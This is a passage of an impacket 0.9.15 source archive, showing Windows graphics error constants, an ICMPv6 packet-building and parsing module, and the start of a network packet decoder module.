ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY = 0xC026231A
ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET = 0xC026231B
ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE = 0xC026231C
ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET = 0xC026231D
ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET = 0xC026231F
ERROR_GRAPHICS_STALE_MODESET = 0xC0262320
ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET = 0xC0262321
ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE = 0xC0262322
ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN = 0xC0262323
ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE = 0xC0262324
ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION = 0xC0262325
ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES = 0xC0262326
ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY = 0xC0262327
ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE = 0xC0262328
ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET = 0xC0262329
ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET = 0xC026232A
ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR = 0xC026232B
ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET = 0xC026232C
ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET = 0xC026232D
ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE = 0xC026232E
ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE = 0xC026232F
ERROR_GRAPHICS_RESOURCES_NOT_RELATED = 0xC0262330
ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE = 0xC0262331
ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE = 0xC0262332
ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET = 0xC0262333
ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER = 0xC0262334
ERROR_GRAPHICS_NO_VIDPNMGR = 0xC0262335
ERROR_GRAPHICS_NO_ACTIVE_VIDPN = 0xC0262336
ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY = 0xC0262337
ERROR_GRAPHICS_MONITOR_NOT_CONNECTED = 0xC0262338
ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY = 0xC0262339
ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE = 0xC026233A
ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE = 0xC026233B
ERROR_GRAPHICS_INVALID_STRIDE = 0xC026233C
ERROR_GRAPHICS_INVALID_PIXELFORMAT = 0xC026233D
ERROR_GRAPHICS_INVALID_COLORBASIS = 0xC026233E
ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE = 0xC026233F
ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY = 0xC0262340
ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT = 0xC0262341
ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE = 0xC0262342
ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN = 0xC0262343
ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL = 0xC0262344
ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION = 0xC0262345
ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC0262346
ERROR_GRAPHICS_INVALID_GAMMA_RAMP = 0xC0262347
ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED = 0xC0262348
ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED = 0xC0262349
ERROR_GRAPHICS_MODE_NOT_IN_MODESET = 0xC026234A
ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON = 0xC026234D
ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE = 0xC026234E
ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE = 0xC026234F
ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS = 0xC0262350
ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING = 0xC0262352
ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED = 0xC0262353
ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS = 0xC0262354
ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT = 0xC0262355
ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM = 0xC0262356
ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED = 0xC0262400
ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED = 0xC0262401
ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER = 0xC0262430
ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED = 0xC0262431
ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED = 0xC0262432
ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY = 0xC0262433
ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED = 0xC0262434
ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON = 0xC0262435
ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE = 0xC0262436
ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER = 0xC0262438
ERROR_GRAPHICS_OPM_NOT_SUPPORTED = 0xC0262500
ERROR_GRAPHICS_COPP_NOT_SUPPORTED = 0xC0262501
ERROR_GRAPHICS_UAB_NOT_SUPPORTED = 0xC0262502
ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS = 0xC0262503
ERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL = 0xC0262504
ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST = 0xC0262505
ERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME = 0xC0262506
ERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP = 0xC0262507
ERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED = 0xC0262508
ERROR_GRAPHICS_OPM_INVALID_POINTER = 0xC026250A
ERROR_GRAPHICS_OPM_INTERNAL_ERROR = 0xC026250B
ERROR_GRAPHICS_OPM_INVALID_HANDLE = 0xC026250C
ERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE = 0xC026250D
ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH = 0xC026250E
ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED = 0xC026250F
ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED = 0xC0262510
ERROR_GRAPHICS_PVP_HFS_FAILED = 0xC0262511
ERROR_GRAPHICS_OPM_INVALID_SRM = 0xC0262512
ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP = 0xC0262513
ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP = 0xC0262514
ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA = 0xC0262515
ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET = 0xC0262516
ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH = 0xC0262517
ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE = 0xC0262518
ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS = 0xC0262519
ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS = 0xC026251A
ERROR_GRAPHICS_I2C_NOT_SUPPORTED = 0xC0262580
ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST = 0xC0262581
ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA = 0xC0262582
ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA = 0xC0262583
ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED = 0xC0262584
ERROR_GRAPHICS_DDCCI_INVALID_DATA = 0xC0262585
ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC0262586
ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING = 0xC0262587
ERROR_GRAPHICS_MCA_INTERNAL_ERROR = 0xC0262588
ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND = 0xC0262589
ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH = 0xC026258A
ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM = 0xC026258B
ERROR_GRAPHICS_PMEA_INVALID_MONITOR = 0xC02625D6
ERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE = 0xC02625D7
ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE = 0xC02625D8
ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION = 0xC02625D9
ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = 0xC02625DA
ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH = 0xC02625DB
ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION = 0xC02625DC
ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = 0xC02625DE
ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE = 0xC02625DF
ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED = 0xC02625E0
impacket-0.9.15/impacket/ICMP6.py 0000600 0000765 0000000 00000046035 12734531507 016446 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
import struct
from ImpactPacket import Header, Data
from IP6_Address import IP6_Address
class ICMP6(Header):
#IP Protocol number for ICMP6
IP_PROTOCOL_NUMBER = 58
protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number
#Size of ICMP6 header (excluding payload)
HEADER_SIZE = 4
#ICMP6 Message Type numbers
DESTINATION_UNREACHABLE = 1
PACKET_TOO_BIG = 2
TIME_EXCEEDED = 3
PARAMETER_PROBLEM = 4
ECHO_REQUEST = 128
ECHO_REPLY = 129
ROUTER_SOLICITATION = 133
ROUTER_ADVERTISEMENT = 134
NEIGHBOR_SOLICITATION = 135
NEIGHBOR_ADVERTISEMENT = 136
REDIRECT_MESSAGE = 137
NODE_INFORMATION_QUERY = 139
NODE_INFORMATION_REPLY = 140
#Destination Unreachable codes
NO_ROUTE_TO_DESTINATION = 0
ADMINISTRATIVELY_PROHIBITED = 1
BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2
ADDRESS_UNREACHABLE = 3
PORT_UNREACHABLE = 4
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5
REJECT_ROUTE_TO_DESTINATION = 6
#Time Exceeded codes
HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0
FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1
#Parameter problem codes
ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2
#Node Information codes
NODE_INFORMATION_QUERY_IPV6 = 0
NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1
NODE_INFORMATION_QUERY_IPV4 = 2
NODE_INFORMATION_REPLY_SUCCESS = 0
NODE_INFORMATION_REPLY_REFUSED = 1
NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2
#Node Information qtypes
NODE_INFORMATION_QTYPE_NOOP = 0
NODE_INFORMATION_QTYPE_UNUSED = 1
NODE_INFORMATION_QTYPE_NODENAME = 2
NODE_INFORMATION_QTYPE_NODEADDRS = 3
NODE_INFORMATION_QTYPE_IPv4ADDRS = 4
#ICMP Message semantic types (error or informational)
ERROR_MESSAGE = 0
INFORMATIONAL_MESSAGE = 1
#ICMP message dictionary - specifying text descriptions and valid message codes
#Key: ICMP message number
#Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) )
#Codes dictionary
#Key: Code number
#Data: Text description
#ICMP message dictionary tuple indexes
MSG_TYPE_INDEX = 0
DESCRIPTION_INDEX = 1
CODES_INDEX = 2
icmp_messages = {
DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable",
{ NO_ROUTE_TO_DESTINATION : "No route to destination",
ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited",
BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address",
ADDRESS_UNREACHABLE : "Address unreachable",
PORT_UNREACHABLE : "Port unreachable",
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy",
REJECT_ROUTE_TO_DESTINATION : "Reject route to destination"
}),
PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None),
TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded",
{HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit",
FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded"
}),
PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem",
{
ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered",
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered",
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered"
}),
ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None),
ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None),
ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None),
ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None),
NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None),
NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None),
REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None),
NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None),
NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None),
}
############################################################################
def __init__(self, buffer = None):
Header.__init__(self, self.HEADER_SIZE)
if (buffer):
self.load_header(buffer)
def get_header_size(self):
return self.HEADER_SIZE
def get_ip_protocol_number(self):
return self.IP_PROTOCOL_NUMBER
def __str__(self):
type = self.get_type()
code = self.get_code()
checksum = self.get_checksum()
s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n"
s += "Code: " + str(code)
if (self.__get_code_description() != ""):
s += " - " + self.__get_code_description()
s += "\n"
s += "Checksum: " + str(checksum) + "\n"
return s
def __get_message_description(self):
return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX]
def __get_code_description(self):
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
if (code_dictionary is None):
return ""
else:
return code_dictionary[self.get_code()]
############################################################################
def get_type(self):
return (self.get_byte(0))
def get_code(self):
return (self.get_byte(1))
def get_checksum(self):
return (self.get_word(2))
############################################################################
def set_type(self, type):
self.set_byte(0, type)
def set_code(self, code):
self.set_byte(1, code)
def set_checksum(self, checksum):
self.set_word(2, checksum)
############################################################################
def calculate_checksum(self):
#Initialize the checksum value to 0 to yield a correct calculation
self.set_checksum(0)
#Fetch the pseudo header from the IP6 parent packet
pseudo_header = self.parent().get_pseudo_header()
#Fetch the ICMP data
icmp_header = self.get_bytes()
#Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present)
checksum_array = array.array('B')
checksum_array.extend(pseudo_header)
checksum_array.extend(icmp_header)
if (self.child()):
checksum_array.extend(self.child().get_bytes())
#Compute the checksum over that array
self.set_checksum(self.compute_checksum(checksum_array))
def is_informational_message(self):
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE
def is_error_message(self):
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE
def is_well_formed(self):
well_formed = True
#Check that the message type is known
well_formed &= self.get_type() in self.icmp_messages.keys()
#Check that the code is known (zero, if there are no codes defined)
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
if (code_dictionary is None):
well_formed &= self.get_code() == 0
else:
well_formed &= self.get_code() in code_dictionary.keys()
return well_formed
############################################################################
@classmethod
def Echo_Request(class_object, id, sequence_number, arbitrary_data = None):
return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data)
@classmethod
def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None):
return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data)
@classmethod
def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(0)
#Pack ICMP payload
icmp_bytes = struct.pack('>H', id)
icmp_bytes += struct.pack('>H', sequence_number)
if (arbitrary_data is not None):
icmp_bytes += array.array('B', arbitrary_data).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
@classmethod
def Destination_Unreachable(class_object, code, originating_packet_data = None):
unused_bytes = [0x00, 0x00, 0x00, 0x00]
return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data)
@classmethod
def Packet_Too_Big(class_object, MTU, originating_packet_data = None):
MTU_bytes = struct.pack('!L', MTU)
return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data)
@classmethod
def Time_Exceeded(class_object, code, originating_packet_data = None):
unused_bytes = [0x00, 0x00, 0x00, 0x00]
return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data)
@classmethod
def Parameter_Problem(class_object, code, pointer, originating_packet_data = None):
pointer_bytes = struct.pack('!L', pointer)
return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data)
@classmethod
def __build_error_message(class_object, type, code, data, originating_packet_data):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(code)
#Pack ICMP payload
icmp_bytes = array.array('B', data).tostring()
if (originating_packet_data is not None):
icmp_bytes += array.array('B', originating_packet_data).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
@classmethod
def Neighbor_Solicitation(class_object, target_address):
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address)
@classmethod
def Neighbor_Advertisement(class_object, target_address):
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address)
@classmethod
def __build_neighbor_message(class_object, msg_type, target_address):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(msg_type)
icmp_packet.set_code(0)
# Flags + Reserved
icmp_bytes = array.array('B', [0x00] * 4).tostring()
# Target Address: The IP address of the target of the solicitation.
# It MUST NOT be a multicast address.
icmp_bytes += array.array('B', IP6_Address(target_address).as_bytes()).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
def get_target_address(self):
return IP6_Address(self.child().get_bytes()[4:20])
def set_target_address(self, target_address):
address = IP6_Address(target_address)
payload_bytes = self.child().get_bytes()
payload_bytes[4:20] = address.get_bytes()
self.child().set_bytes(payload_bytes)
# 0 1 2 3 4 5 6 7
# +-+-+-+-+-+-+-+-+
# |R|S|O|reserved |
# +-+-+-+-+-+-+-+-+
def get_neighbor_advertisement_flags(self):
return self.child().get_byte(0)
def set_neighbor_advertisement_flags(self, flags):
self.child().set_byte(0, flags)
def get_router_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x80) != 0
def set_router_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x80
else:
curr_flags &= ~0x80
self.set_neighbor_advertisement_flags(curr_flags)
def get_solicited_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x40) != 0
def set_solicited_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x40
else:
curr_flags &= ~0x40
self.set_neighbor_advertisement_flags(curr_flags)
def get_override_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x20) != 0
def set_override_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x20
else:
curr_flags &= ~0x20
self.set_neighbor_advertisement_flags(curr_flags)
############################################################################
@classmethod
def Node_Information_Query(class_object, code, payload = None):
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload)
@classmethod
def Node_Information_Reply(class_object, code, payload = None):
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload)
@classmethod
def __build_node_information_message(class_object, type, code, payload = None):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(code)
#Pack ICMP payload
qtype = 0
flags = 0
nonce = [0x00] * 8
icmp_bytes = struct.pack('>H', qtype)
icmp_bytes += struct.pack('>H', flags)
icmp_bytes += array.array('B', nonce).tostring()
if payload is not None:
icmp_bytes += array.array('B', payload).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
def get_qtype(self):
return self.child().get_word(0)
def set_qtype(self, qtype):
self.child().set_word(0, qtype)
def get_nonce(self):
return self.child().get_bytes()[4:12]
def set_nonce(self, nonce):
payload_bytes = self.child().get_bytes()
payload_bytes[4:12] = array.array('B', nonce)
self.child().set_bytes(payload_bytes)
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | unused |G|S|L|C|A|T|
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
def get_flags(self):
return self.child().get_word(2)
def set_flags(self, flags):
self.child().set_word(2, flags)
def get_flag_T(self):
return (self.get_flags() & 0x0001) != 0
def set_flag_T(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0001
else:
curr_flags &= ~0x0001
self.set_flags(curr_flags)
def get_flag_A(self):
return (self.get_flags() & 0x0002) != 0
def set_flag_A(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0002
else:
curr_flags &= ~0x0002
self.set_flags(curr_flags)
def get_flag_C(self):
return (self.get_flags() & 0x0004) != 0
def set_flag_C(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0004
else:
curr_flags &= ~0x0004
self.set_flags(curr_flags)
def get_flag_L(self):
return (self.get_flags() & 0x0008) != 0
def set_flag_L(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0008
else:
curr_flags &= ~0x0008
self.set_flags(curr_flags)
def get_flag_S(self):
return (self.get_flags() & 0x0010) != 0
def set_flag_S(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0010
else:
curr_flags &= ~0x0010
self.set_flags(curr_flags)
def get_flag_G(self):
return (self.get_flags() & 0x0020) != 0
def set_flag_G(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0020
else:
curr_flags &= ~0x0020
self.set_flags(curr_flags)
def set_node_information_data(self, data):
payload_bytes = self.child().get_bytes()
payload_bytes[12:] = array.array('B', data)
self.child().set_bytes(payload_bytes)
def get_note_information_data(self):
return self.child().get_bytes()[12:]
############################################################################
def get_echo_id(self):
return self.child().get_word(0)
def get_echo_sequence_number(self):
return self.child().get_word(2)
def get_echo_arbitrary_data(self):
return self.child().get_bytes()[4:]
def get_mtu(self):
return self.child().get_long(0)
def get_parm_problem_pointer(self):
return self.child().get_long(0)
def get_originating_packet_data(self):
return self.child().get_bytes()[4:]
impacket-0.9.15/impacket/ImpactDecoder.py 0000600 0000765 0000000 00000077343 12734531507 020341 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Convenience packet unpackers for various network protocols
# implemented in the ImpactPacket module.
#
# Author:
# Javier Burroni (javier)
# Bruce Leidl (brl)
# Aureliano Calvo
import array
import ImpactPacket
import dot11
import IP6
import ICMP6
import IP6_Extension_Headers
from cdp import CDP
from Dot11Crypto import RC4
import eap
from impacket import wps
from impacket.dot11 import Dot11WEPData
"""Classes to convert from raw packets into a hierarchy of
ImpactPacket derived objects.
The protocol of the outermost layer must be known in advance, and the
packet must be fed to the corresponding decoder. From there it will
try to decode the raw data into a hierarchy of ImpactPacket derived
objects; if a layer's protocol is unknown, all the remaining data will
be wrapped into a ImpactPacket.Data object.
"""
class Decoder:
__decoded_protocol = None
def decode(self, aBuffer):
pass
def set_decoded_protocol(self, protocol):
self.__decoded_protocol = protocol
def get_protocol(self, aprotocol):
protocol = self.__decoded_protocol
while protocol:
if protocol.__class__ == aprotocol:
break
protocol=protocol.child()
return protocol
def __str__(self):
protocol = self.__decoded_protocol
i=0
out=''
while protocol:
tabline=' '*i+'+-'+str(protocol.__class__)
out+="%s"%tabline+'\n'
protocol=protocol.child()
i+=1
return out
class EthDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
e = ImpactPacket.Ethernet(aBuffer)
self.set_decoded_protocol( e )
off = e.get_header_size()
if e.get_ether_type() == ImpactPacket.IP.ethertype:
self.ip_decoder = IPDecoder()
packet = self.ip_decoder.decode(aBuffer[off:])
elif e.get_ether_type() == IP6.IP6.ethertype:
self.ip6_decoder = IP6Decoder()
packet = self.ip6_decoder.decode(aBuffer[off:])
elif e.get_ether_type() == ImpactPacket.ARP.ethertype:
self.arp_decoder = ARPDecoder()
packet = self.arp_decoder.decode(aBuffer[off:])
# LLC ?
elif e.get_ether_type() < 1500:
self.llc_decoder = LLCDecoder()
packet = self.llc_decoder.decode(aBuffer[off:])
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
e.contains(packet)
return e
# Linux "cooked" capture encapsulation.
# Used, for instance, for packets returned by the "any" interface.
class LinuxSLLDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
e = ImpactPacket.LinuxSLL(aBuffer)
self.set_decoded_protocol( e )
off = 16
if e.get_ether_type() == ImpactPacket.IP.ethertype:
self.ip_decoder = IPDecoder()
packet = self.ip_decoder.decode(aBuffer[off:])
elif e.get_ether_type() == ImpactPacket.ARP.ethertype:
self.arp_decoder = ARPDecoder()
packet = self.arp_decoder.decode(aBuffer[off:])
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:])
e.contains(packet)
return e
class IPDecoder(Decoder):
def __init__(self):
pass
def decode(self, aBuffer):
i = ImpactPacket.IP(aBuffer)
self.set_decoded_protocol ( i )
off = i.get_header_size()
end = i.get_ip_len()
if i.get_ip_p() == ImpactPacket.UDP.protocol:
self.udp_decoder = UDPDecoder()
packet = self.udp_decoder.decode(aBuffer[off:end])
elif i.get_ip_p() == ImpactPacket.TCP.protocol:
self.tcp_decoder = TCPDecoder()
packet = self.tcp_decoder.decode(aBuffer[off:end])
elif i.get_ip_p() == ImpactPacket.ICMP.protocol:
self.icmp_decoder = ICMPDecoder()
packet = self.icmp_decoder.decode(aBuffer[off:end])
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(aBuffer[off:end])
i.contains(packet)
return i
class IP6MultiProtocolDecoder(Decoder):
def __init__(self, a_protocol_id):
self.protocol_id = a_protocol_id
def decode(self, buffer):
if self.protocol_id == ImpactPacket.UDP.protocol:
self.udp_decoder = UDPDecoder()
packet = self.udp_decoder.decode(buffer)
elif self.protocol_id == ImpactPacket.TCP.protocol:
self.tcp_decoder = TCPDecoder()
packet = self.tcp_decoder.decode(buffer)
elif self.protocol_id == ICMP6.ICMP6.protocol:
self.icmp6_decoder = ICMP6Decoder()
packet = self.icmp6_decoder.decode(buffer)
else:
# IPv6 Extension Headers lookup
extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers()
if buffer and self.protocol_id in extension_headers:
extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder()
self.extension_header_decoder = extension_header_decoder_class()
packet = self.extension_header_decoder.decode(buffer)
else:
self.data_decoder = DataDecoder()
packet = self.data_decoder.decode(buffer)
return packet
class IP6Decoder(Decoder):
def __init__(self):
pass
def decode(self, buffer):
ip6_packet = IP6.IP6(buffer)
self.set_decoded_protocol(ip6_packet)
start_pos = ip6_packet.get_header_size()
